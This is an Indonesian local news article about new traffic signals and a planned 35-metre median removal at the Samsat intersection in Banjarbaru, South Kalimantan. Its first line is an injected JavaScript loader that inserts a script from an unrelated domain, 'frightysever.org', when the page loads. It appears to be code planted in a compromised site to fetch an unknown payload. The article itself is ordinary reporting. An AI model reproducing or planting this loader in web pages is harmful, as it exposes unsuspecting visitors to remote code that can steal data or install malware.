(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

APILL Terpasang di Samsat Banjarbaru, Dua Jalan Jadi Perempatan

KANALKALIMANTAN.COM, BANJARBARU – Pemasangan Area Traffic Control System (ATCS) di kawasan dekat kantor Samsat Kota Banjarbaru, Kalimantan Selatan (Kalsel), mulai dikerjakan.

Pantauan Kanalkalimantan.com, Kamis (23/5/2024) siang, nampak seluruh ruas persimpangan jalan mulai dipasang tiang dan Alat Pemberi Isyarat Lalu Lintas alias APILL.

APILL sudah dipasang pada ruas Jalan Pangeran Suriansyah sebelah kiri atau tepatnya di samping kantor Samsat Banjarbaru.

Dua APILL lain juga sudah dipasang pada ruas Jalan Panglima Batur, serta di ruas Jalan Pangeran Suriansyah menuju arah ke SMAN 2 Banjarbaru, Kelurahan Mentaos.

Median Jalan Panglima Batur yang akan dibongkar DPUPR Banjarbaru. Foto: wanda

Menyusul pemasangan ATCS itu, pembongkaran median jalan akan dilakukan Dinas Pekerjaan Umm Penataan Ruang (PUPR) Banjarbaru. Median atau pembatas jalan beraada di Jalan Panglima Batur.

Kepala Bidang (Kabid) Bina Marga DPUPR Banjarbaru, Adi Maulana mengatakan, median di ruas Jalan Panglima Batur atau akan dibongkar sehingga kedua jalan ini menjadi perempatan.

“Setelah dilakukan kajian untuk simpang Samsat dan menurut hasil Detail Engineering Design (DED) diharuskan adanya pendetailan, salah satunya ialah pembongkaran median,” ujar Kabid Bina Marga DPUPR Banjarbaru, Adi Maulana pada Rabu (22/5/2024) kemarin.

Kepala Bidang Bina Marga DPUPR Banjarbaru, Adi Maulana. Foto: Adi Maulana

Dalam pembongkaran median jalan itu, DPUPR akan melakukan penataan geometrik medianya.

“Atau istilah kami penataan geometriknya meliputi pembongkaran median, ada beberapa penataan pada sisi-sisi sampingnya, bukaan atau R-nya,” jelas dia.

Adi menambahkan, median jalan Panglima Batur rencananya akan dibongkar sepanjang 35 meter.

“Kurang lebih lebih mediannya yang akan kami bongkar sepanjang 35 meter,” sebutnya.

Selain DPUPR yang melakukan penataan simpang geometrik, sejumlah SKPD lain turut berkolaborasi dalam pembangunan ATCS ini.

Seperti Dinas Perhubungan (Dishub) Banjarbaru, dijelaskan Adi selain selain memasang APILL mereka juga akan membangun marka-marka jalan.

“Saat ini kolaborasi tiga SKPD, Dishub yang memasang APILL dan juga pengerjaan marka seperti zebra cross dan lainnya,” tandas Adi Maulana.

Dinas Perumahan dan Permukiman (Disperkim) Banjarbaru juga turut andil dalam hal menata pemindahan tanaman-tanaman yang ada di kawasan tersebut. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie